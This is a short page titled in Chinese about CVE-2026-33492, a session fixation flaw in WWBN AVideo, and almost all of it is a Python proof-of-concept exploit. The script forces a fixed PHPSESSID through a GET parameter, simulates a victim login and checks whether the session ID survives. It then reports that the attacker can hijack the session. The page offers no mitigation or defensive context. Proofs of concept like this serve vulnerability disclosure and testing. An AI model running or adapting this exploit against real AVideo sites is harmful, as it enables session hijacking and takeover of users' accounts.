CVE-2026-33492 AVideo会话固定漏洞

# PoC for CVE-2026-33492 - Session Fixation in WWBN AVideo import requests def exploit_session_fixation(target_url, username, password): s = requests.Session() # Step 1: Attacker forces a session ID via GET parameter fixed_session_id = "pwned_session_id_12345" print(f"[*] Attempting to fix session ID to: {fixed_session_id}") # Victim visits a link with the PHPSESSID parameter initial_response = s.get(f"{target_url}?PHPSESSID={fixed_session_id}") # Step 2: Victim logs in (Simulated) # In the vulnerable version, the session ID is NOT regenerated after login login_data = { 'user': username, 'pass': password, 'AVideoSessionRecovery': 'login' } print("[*] Simulating victim login...") login_response = s.post(target_url, data=login_data) # Step 3: Verify if the session is still the fixed one current_cookies = s.cookies.get_dict() if 'PHPSESSID' in current_cookies and current_cookies['PHPSESSID'] == fixed_session_id: print("[+] Success! Session ID was not regenerated after login.") print("[+] Attacker can now hijack the session using ID:", fixed_session_id) return True else: print("[-] Failed. Session ID might have been regenerated or login failed.") return False # Usage # exploit_session_fixation("http://localhost/avideo/login.php", "admin", "password")